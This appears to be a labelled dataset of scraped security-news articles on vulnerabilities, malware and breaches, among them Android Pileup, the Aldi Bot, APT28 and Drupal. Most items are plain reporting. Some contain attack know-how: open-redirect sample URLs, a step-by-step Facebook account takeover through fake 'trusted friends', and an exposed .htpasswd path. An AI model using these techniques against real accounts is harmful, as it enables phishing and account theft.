The researchers dubbed the new set of security-critical vulnerabilities as Pileup flaws which is a short for privilege escalation through updating, that waylays inside the Android PMS and intensifies the permissions offered to malicious apps whenever an android update occurs, without informing users.
The research was carried out by Indiana University Bloomington researchers, Luyi Xing, Xiaorui Pan, Kan Yuan and XiaoFeng Wang, with the help of Rui Wang of Microsoft.
Six different Pileup vulnerabilities have been found by the researchers within the Android PMS, those are present in all Android Open Source Project versions, including more than 3,500 customized versions of Android developed by handset makers and carriers.
"Every few months, an update is released, which causes replacement and addition of tens of thousands of files on a live system. Each of the new apps being installed needs to be carefully configured to set its attributes within its own sandboxes and its privileges in the system, without accidentally damaging existing apps and the user data they keep," the researchers wrote. "This complicates the program logic for installing such mobile updates, making it susceptible to security-critical flaws."
The researchers also found that by exploiting the Pileup vulnerabilities, a hacker can not only control the system permission and signature but also their settings. Moreover an attacker could use the malicious app to access and steal the device data, including, sensitive user information such as activity logs, user credentials, Contacts, Messages etc.
"A distinctive and interesting feature of such an attack is that it is not aimed at a vulnerability in the current system. Instead, it exploits the flaws in the updating mechanism of the "future" OS, which the current system will be upgraded to," the researchers wrote. "More specifically, though the app running on a lower version Android, the adversary can strategically claim a set of carefully selected privileges or attributes only available on the higher OS version."
In short, it means that, if an attacker sends the malicious app update and if the permission don't exist in the older version of the android that is added to the new version; the malicious app will silently acquire the permissions and when the device is upgraded to the newer version, the pileup flaws will be automatically exploited.
"A third-party package attribute or property, which bears the name of its system counterpart, can be elevated to a system one during the updating shuffle-up where all apps are installed or reinstalled, and all system configurations are reset," the researcher wrote. "Also, when two apps from old and new systems are merged as described above, security risks can also be brought in when the one on the original system turns out to be malicious."
During the update, first the PMS will install all new and existing system apps and then will proceed to install third party apps from the old OS and during the installation of malicious app packed inside PMS, the device will recognize and silently grants all the permissions that malicious app requests, as it supposes that these permissions are with an existing app and have already been approved by the user.
"With the help of a program analyzer, our research discovered 6 such Pileup flaws within Android Package Manager Service and further confirmed their presence in all AOSP (Android Open Source Project) versions and all 3,522 source code versions customized by Samsung, LG and HTC across the world that we inspected, which strongly indicates their existence in all Android devices in the market."
Moreover detecting the critical flaws, the researchers have developed a new scanner app called SecUP that search for malicious apps already on a device designed to exploit Pileup vulnerabilities. Scanning tool inspects already installed Android application packages (APKs) on the device, in an attempt to identify those that will cause privilege escalations during an update, the paper stated.
The SecUP scanning tool consists of an automated vulnerability detector, a program verification tool for Java that discovers the Pileup flaws within the source code of different Android versions and a threat analyzer that automatically scans thousands of OS images.
"The detector verifies the source code of PMS (from different Android versions) to identify any violation of a set of security constraints, in which we expect that the attributes, properties (name, permission, UID, etc.) and data of a third-party app will not affect the installation and configurations of system apps during an update," the researchers explained. "A Pileup flaw is detected once any of those constraints are breached."
All the six vulnerabilities have been reported to Google by the researchers, from which one of it has been fixed by them.
| Vulnerability |
URL redirection Vulnerability in Google & Facebook | https://thehackernews.com/2012/01/url-redirection-vulnerability-in-google.html | URL redirection Vulnerability in Google
An open redirect is a vulnerability that exists when a script allows redirectionto an external site by directly calling a specific URL in an unfiltered,unmanaged fashion, which could be used to redirect victims to unintended,malicious web sites. A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect.
A similar vulnerability is reported in Google by "Ucha Gobejishvili ( longrifle0x )". This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.
Url: https://accounts.google.com/o/oauth2/auth?redirect_uri=https://www.something.com
Same vulnerability in Facebook, Discovered by ZeRtOx from Devitel group:
https://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.something.com
Impact of Vulnerability :
The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.
The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.
| Malware |
Facebook "Trusted friends" Security Feature Easily Exploitable | https://thehackernews.com/2011/10/facebook-trusted-friends-security.html | Facebook "Trusted friends" Security Feature Easily Exploitable
Last week Facebook announced that in one day 600,000 accounts possibly get hacked. Another possible solution for Facebook to combat security issues is to find 3 to 5 "Trusted friends". Facebook will be adding two new security features that will allow users to regain control of their account if it gets hijacked.
In Facebook's case, the keys are codes, and the user can choose from three to five "Trusted friends" who are then provided with a code. If you ever get locked out of your account (and you can't access your email to follow the link after resetting your Facebook password), you gather all the codes and use them to gain access to it again. Yet This method is used by hackers to hack most of the Facebook account using little bit of Social Engineering from last 5-6 Months according to me. Let us know, how this works...
How its Exploitable:
This Exploit is 90% Successful on the victims who add friends without knowing them or just for increasing the number of Friends. This method to hack a Facebook Account only works if 3 trusted friends agree to give you the security code ! Another Idea, Why not Create 3 fake accounts and send Friend Request to Victim. Once your 3 Fake Accounts become friends with your victims facebook account, you can select those 3 Accounts to get the Security Code and Reset the password of Victim. Here a Complete Demonstration of Hacking Method on HackersOnlineClub.
Other Serious Facebook Vulnerability in Last Week
Last Week Nathan Power from SecurityPentest has discovered new Facebook Vulnerability, that can easily attach EXE files in messages,cause possible User Credentials to be Compromised . Not even Account Security, Also there are lots of Privacy Issues in Facebook,like Nelson Novaes Neto, a Brazilian (independent) Security and Behavior Research have analyze a privacy issue in Facebook Ticker that allows any person chasing you without your knowledge or consent . Facebook should takes these privacy issues & security holes very seriously.
| Vulnerability |
Aldi Bot - Buy a Botnet just in 10 Euros | https://thehackernews.com/2011/09/aldi-bot-buy-botnet-just-in-10-euros.html | Aldi Bot - Buy a Botnet just in 10 Euros
Researchers of German security firm G Data have discovered that a bot builder dubbed "Aldi Bot" is currently being offered for that much on underground forums. The Aldi Bot Builder appears to be based on the ZeuS source code. The malware has nothing to do with the discount supermarket chain and it is not clear why its author chose to name the bot after Aldi – it is thought it may relate to the bot's discount pricing.
Company says "We've encountered a bot sale, which, in case it finds followers, can cause a massive glut of malware all over. The so-called "Aldi Bot" first appeared in late August and has been sold for the initial price of €10! Parts of the bot's code oddly look like ZeuS code…"
The Aldi Bot can read (saved) passwords from the Firefox web browser, Pidgin IM client and JDownloader download tool, and send them to a command and control server which is included in the €10 price tag. The Aldi Bot can also carry out Distributed Denial-of-Service (DDoS) attacks, as the bot's author demonstrates with a YouTube video showing an attack on the German Bundeskriminalamt (equivalent to the UK CID) web site. The bot can also be set up as a SOCKS proxy to use infected computers as proxies for protocols of the bot herder's choosing. Infecting systems with the discount malware does, however, require additional measures, such as exploit packs on infected web sites.
| Malware |
Ransomware Attack Takes Down Bristol Airport's Flight Display Screens | https://thehackernews.com/2018/09/cyberattack-bristol-airport.html | Bristol Airport has blamed a ransomware attack for causing a blackout of flight information screens for two days over the weekend.
The airport said that the attack started Friday morning, taking out several computers over the airport network, including its in-house display screens which provide details about the arrival and departure information of flights.
The attack forced the airport officials to take down its systems and use whiteboards and paper posters to announce check-in and arrival information for flights going through the airport and luggage pickup points for all Friday, Saturday, and the subsequent night.
"We are currently experiencing technical problems with our flight information screens," a post on the Bristol Airport's official Twitter feed read on Friday.
"Flights are unaffected and details of check-in desks, boarding gates, and arrival/departure times will be made over the public address system. Additional staff are on hand to assist passengers."
The airport also urged passengers to arrive early and "allow extra time for check-in and boarding processes," though this two days technical meltdown caused delays in baggage handling, with customers needed to wait longer than one hour for their bags.
However, no flight delays were reportedly caused due to the cyber attack.
An airport spokesman said that the information screens went offline due to a so-called "ransomware" attack, though he confirmed that no "ransom" had been paid to get the airport systems working again.
Affected systems and flight information screens were finally restored on Sunday, officials said.
"We are grateful to passengers for their patience while we have been working to resolve issues with flight information this weekend. Digital screens are now live in arrivals and departures. Work will continue to restore complete site-wide coverage as soon as possible," the airport tweeted on Sunday.
At the moment, it is not clear how the ransomware got into the airport systems. Bristol is carrying out an investigation to find out what happened.
| Cyber_Attack |
Server Misconfiguration discloses passwords of all Barracuda Network Employees | https://thehackernews.com/2013/07/Barracuda-network-Password-disclosure-vulnerability_24.html | Security expert Ebrahim Hegazy has found a Password disclosure vulnerability in Barracuda update servers which allows to gain access to employee credentials.
The Egyptian information security advisor Ebrahim Hegazy(@Zigoo0) has found a Password disclosure vulnerability in one of Barracuda update servers which allows the attackers to gain access to all its employee data.
When the system administrator needs to protect a directory with a second authentication layer (basic authentication) besides the back-end authentication, he can do it with multiple methods, one of that methods is through the configuration of .htaccess and .htpasswd files. A proper configuration could prevent a visitor to surf reserved area (e.g /Cpanel or /admin), in this scenario a popup proposes to the user asking to enter authentication credentials, that credentials are saved inside .htpasswd file as:
Username:Password
In normal scenarios the .htpasswd file should be stored outside the web directory (e.g. C:\AnyName\.htpasswd)
But in Barracuda issue the file was stored inside the admin panel directory and was accessible by anyone with serious repercussion.
If the user directly accesses the following link https://updates.cudasvc.com/admin/.htpasswd ,he will be able to disclose the passwords of all Barracuda Network Employees such as: Support, Sales, UK Branch employees, Update server users, Engineers and more of those who have access to the basic authentication layer!
The Password disclosure vulnerability is exacerbated by the fact that the passwords were saved as a clear text, following the screenshots before the vulnerability got patched
The vulnerability has been reported by Ebrahim Hegazy to Barracuda, that already fixed it, despite it is not eligible for the bounty. Curious that Barracuda considered "Password disclosure vulnerability" out of scope vulnerability, IMHO I consider it a critical flaw.
Ebrahim Hegazy has found and reported the vulnerability to Barracuda as a participant in the Barracuda bug bounty program.
I consider Ebrahim Hegazy a very skilled professional that is doing an excellent job in security field, let's remind that in the last months he already discovered flaws in DropBox, Avira web site and Yahoo! ... What is the next?
What will happen if these smart guys will start to sell the knowledge of vulnerabilities in the underground?
| Vulnerability |
APT28 — State Sponsored Russian Hacker Group | https://thehackernews.com/2014/10/APT28-Russian-hacker-cyber-espionage.html | Nearly a decade-long cyber espionage group that targeted a variety of Eastern European governments and security-related organizations including the North Atlantic Treaty Organization (NATO) has been exposed by a security research firm.
The US intelligence firm FireEye released its latest Advanced Persistent Threat (APT) report on Tuesday which said that the cyber attacks targeting various organisations would be of the interest to Russia, and "may be" sponsored by the Russian government.
The Report entitled "APT28: A Window Into Russia's Cyber Espionage Operations" published by FireEye has "evidence of long-standing, focused operations that indicate a government sponsor - specifically, a government based in Moscow."
"Despite rumours of the Russian government's alleged involvement in high-profile government and military cyber attacks, there has been little hard evidence of any link to cyber espionage," Dan McWhorter, FireEye vice president of Threat Intelligence, wrote in a blog post discussing the report.
"FireEye's latest APT report sheds light on cyber espionage operations that we assess to be most likely to be sponsored by the Russian government, long believed to be a leader among major nations in performing sophisticated network attacks."
The cyber-espionage group believed to have been operating since at least 2007 in order to steal political and state secrets from businesses and foreign governments. The group launched a cyber attack on government in Georgia, Eastern Europe, as well as NATO and the Organisation for Security and Co-operation in Europe, according to the report.
Whereas the Russian cyber criminal groups are known for conducting massive cyber campaigns aimed at stealing money and financial information, but APT28 focuses on "privileged information related to governments, militaries and security organizations."
"This group, unlike the China-based threat actors we track, does not appear to conduct widespread intellectual property theft for economic gain," FireEye stated in the report. "Nor have we observed the group steal and profit from financial account information."
The security firm analyzed that the malware used by APT28 features a consistent use of the Russian language. Moreover, more than 96 percent of malware samples analyzed by the researchers were compiled between Monday and Friday, between 8AM and 6PM in the time zone paralleling working hours in Moscow and St. Petersburg. This regularity in the work suggests that the hackers were in Moscow, the report argues.
The APT28 group has constantly updated their software and made the resulting binaries difficult to reverse engineer. It used a downloader tool that FireEye dubbed "SOURFACE", a backdoor labelled "EVILTOSS" that gives hackers remote access and a flexible modular implant called "CHOPSTICK" to enhance functionality of the espionage software.
Infection is usually achieved via a spear phishing email with a relevant lure and the malware hidden in the attachment. The hacker group has also created a number of fake domains for UK-based defence events, including the Counter Terror Expo, as part of the operation to gather intelligence on attendees.
Together with the help of above mentioned tools, the group gained access to the file system and registry; enumerate network resources; create processes; log keystrokes; access stored credentials; execute shellcode, and encrypt exfiltrated data uploaded with an RSA public key.
"The coding practices evident in the group's malware suggest both a high level of skill and an interest in complicating reverse engineering efforts," the report stated.
In another report , a top White House official has confirmed that Russian hackers have hacked into the unclassified White House computer networks. "we identified activity of concern on the unclassified Executive Office of the President network,".
Russia has been suspected of attacks on Ukraine too, including attempts to gain access to politicians' mobile phone communications.
| Malware |
Drupal resets 1 Million Passwords after Data Breach | https://thehackernews.com/2013/05/drupal-resets-1-million-passwords-after.html | A Drupal data breach was announced by the official Drupal Association, that Passwords for almost one million accounts on the Drupal.org website are being reset after hackers gained unauthorized access to sensitive user data.
The security of the open source content management system has been compromised via third-party software installed on the Drupal.org server infrastructure, and was not the result of a vulnerability within Drupal itself. As countermeasure it is resetting the passwords for nearly one million accounts in the wake of a data breach.
Information exposed includes usernames, email addresses, and country information, as well as hashed passwords. The Drupal.org hasn't revealed the name of the third-party application exploited during the attack.
Evidence of the Drupal data breach was found during a routine security audit:
"Upon discovering the files during a security audit, we shut down the association.drupal.org website to mitigate any possible ongoing security issues related to the files," "The Drupal security team then began forensic evaluations and discovered that user account information had been accessed via this vulnerability."
"The Drupal.org Security Team and Infrastructure Team have discovered unauthorized access to account information on Drupal.org and groups.drupal.org.
This access was accomplished via third-party software installed on the Drupal.org server infrastructure, and was not the result of a vulnerability within Drupal itself. This notice applies specifically to user account data stored on Drupal.org and groups.drupal.org, and not to sites running Drupal generally."
The Drupal data breach is considerably really serious about user's security, an impressive amount of web sites is based on the popular content management. The thousands of websites that run on Drupal software estimated at 2 percent of all sites should not be affected by the data breach.
The Drupal.org Security Team confirmed the "unauthorized access" to their system, highlighting that there's no evidence that any information was actually stolen. As a precautionary measure was requested all users to reset their passwords at their next login attempt.
Holly Ross, Executive Director for Drupal Association confirmed that they are investigating on the incident that could have exposed also other info: "We are still investigating the incident and may learn about other types of information compromised, in which case we will notify you accordingly"
The attacks to Open Source CMS solutions are not an isolated cases due their large diffusion, in the past Joomla and WordPress platforms were hit and used to spread malicious code, WordPress recently was hit by a massive "brute-force" attack by botnet composed by almost 100,000 bots.
It's easy to predict that this kind of attacks is likely to increase for the large-diffusion of these platforms which makes them privileged targets.
Drupal.org account holders will be required to change their password by entering their username or e-mail address, and following the link included in the e-mail message that follows.
| Vulnerability |
2-Year-Old Linux Kernel Issue Resurfaces As High-Risk Flaw | https://thehackernews.com/2017/09/linux-kernel-hacking.html | A bug in Linux kernel that was discovered two years ago, but was not considered a security threat at that time, has now been recognised as a potential local privilege escalation flaw.
Identified as CVE-2017-1000253, the bug was initially discovered by Google researcher Michael Davidson in April 2015.
Since it was not recognised as a serious bug at that time, the patch for this kernel flaw was not backported to long-term Linux distributions in kernel 3.10.77.
However, researchers at Qualys Research Labs has now found that this vulnerability could be exploited to escalate privileges and it affects all major Linux distributions, including Red Hat, Debian, and CentOS.
The vulnerability left "all versions of CentOS 7 before 1708 (released on September 13, 2017), all versions of Red Hat Enterprise Linux 7 before 7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red Hat Enterprise Linux 6 are exploitable," Qualys said in an advisory published yesterday.
The vulnerability, which has been given a CVSS3 Base Score of 7.8 out of 10, resides in the way Linux kernel loads ELF executables, which potentially results in memory corruption.
Researchers find that an unprivileged local user with access to SUID (or otherwise privileged) Position Independent Executable (PIE) binary could use this vulnerability to escalate their privileges on the affected system.
In order to mitigate this issue, users can switch to the legacy mmap layout by setting vm.legacy_va_layout to 1, which will effectively disable the exploitation of this security flaw.
Since the mmap allocations start much lower in the process address space and follow the bottom-up allocation model, "the initial PIE executable mapping is far from the reserved stack area and cannot interfere with the stack."
Qualys says this flaw is not limited to the PIEs whose read-write segment is larger than 128MB, which is the minimum distance between the mmap_base and the highest address of the stack, not the lowest address of the stack.
So, when passing 1.5GB of argument strings to execve(), any PIE can be mapped directly below the stack and trigger the vulnerability.
Linux distributions, including Red Hat, Debian, and CentOS, have released security updates to address the vulnerability.
The Qualys team has promised to publish a proof-of-concept soon exploit that works on CentOS-7 kernel versions "3.10.0-514.21.2.el7.x86_64" and "3.10.0-514.26.1.el7.x86_64," once a maximum number of users have had time to patch their systems against the flaw.
Stay Tuned!
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Oracle Database new zero day exploit put users at risk | https://thehackernews.com/2012/05/oracle-database-new-zero-day-exploit.html | Oracle Database new zero day exploit put users at risk
Oracle has recommended workarounds for a zero-day Oracle Database flaw that was not fixed in the company's April critical patch update. Oracle issued a security alert for Oracle TNS Poison, the vulnerability, disclosed by researcher Joxean Koret after he mistakenly thought it had been fixed by Oracle, allows an attacker to hijack the information exchanged between clients and databases.
Koret originally reported the vulnerability to Oracle in 2008, four years ago! and said he was surprised to see it had been fixed in Oracle's most recent Critical Patch Update without any acknowledgment of his work.
"This vulnerability is remotely exploitable without authentication, and if successfully exploited, can result in a full compromise of the targeted Database," the company warned.
"This security alert addresses the security issue CVE-2012-1675, a vulnerability in the TNS listener which has been recently disclosed as 'TNS Listener Poison Attack' affecting the Oracle Database Server. This vulnerability may be remotely exploitable without authentication, i.e., it may be exploited over a network without the need for a username and password. A remote user can exploit this vulnerability to impact the confidentiality, integrity and availability of systems that do not have recommended solution applied", Oracle wrote.
A TNS Listener feature known as remote registration dates back to at least 1999 with version 8i of the Oracle Database. By sending a simple query to the service, an attacker can hijack connections legitimate users have already established with the database without the need of a password or other authentication. From then on, data traveling between legitimate users and the server pass through the connection set up by the attacker.
Oracle released a critical update for versions 10g and 11g database products fixing this vulnerability.
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